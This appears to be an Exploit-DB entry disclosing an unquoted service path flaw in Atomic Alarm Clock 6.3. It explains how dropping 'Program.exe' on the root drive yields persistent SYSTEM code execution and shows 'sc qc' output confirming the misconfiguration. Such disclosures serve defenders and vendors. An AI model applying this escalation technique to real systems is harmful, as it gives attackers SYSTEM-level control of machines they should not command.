01900f216d
7 changes to exploits/shellcodes Atomic Alarm Clock 6.3 - Stack Overflow (Unicode+SEH) Nsauditor 3.2.1.0 - Buffer Overflow (SEH+ASLR bypass (3 bytes overwrite)) Rubo DICOM Viewer 2.0 - Buffer Overflow (SEH) Atomic Alarm Clock x86 6.3 - 'AtomicAlarmClock' Unquoted Service Path Unraid 6.8.0 - Auth Bypass PHP Code Execution (Metasploit) Centreon 19.10.5 - 'id' SQL Injection Fork CMS 5.8.0 - Persistent Cross-Site Scripting
28 lines
No EOL
1.4 KiB
Text
28 lines
No EOL
1.4 KiB
Text
# Exploit Title: Atomic Alarm Clock x86 6.3 - 'AtomicAlarmClock' Unquoted Service Path
|
|
# Exploit Author: boku
|
|
# Date: 2020-04-17
|
|
# Vendor Homepage: http://www.drive-software.com
|
|
# Software Link: http://www.drive-software.com/download/ataclock.exe
|
|
# Version: 6.3
|
|
# Tested On: Windows 10 Pro 1909 (32-bit)
|
|
# Vulnerability Type: Local Privilege Escalation by unquoted service path owned by 'LocalSystem'.
|
|
|
|
# Vulnerability Description:
|
|
# The Atomic Alarm Clock service "timeserv.exe" will load an arbitrary EXE and execute it with SYSTEM integrity.
|
|
# This security misconfiguration by the vendor can be exploited locally or as part of an attack chain.
|
|
# By placing a file named "Program.exe" on the root drive, an attacker can obtain persistent arbitrary code execution.
|
|
# Under normal environmental conditions, this exploit ensures escalation of privileges from Admin to SYSTEM.
|
|
|
|
C:\Users\boku>sc qc AtomicAlarmClock
|
|
[SC] QueryServiceConfig SUCCESS
|
|
|
|
SERVICE_NAME: AtomicAlarmClock
|
|
TYPE : 10 WIN32_OWN_PROCESS
|
|
START_TYPE : 2 AUTO_START
|
|
ERROR_CONTROL : 1 NORMAL
|
|
BINARY_PATH_NAME : C:\Program Files\Atomic Alarm Clock\timeserv.exe
|
|
LOAD_ORDER_GROUP :
|
|
TAG : 0
|
|
DISPLAY_NAME : Atomic Alarm Clock Time
|
|
DEPENDENCIES :
|
|
SERVICE_START_NAME : LocalSystem |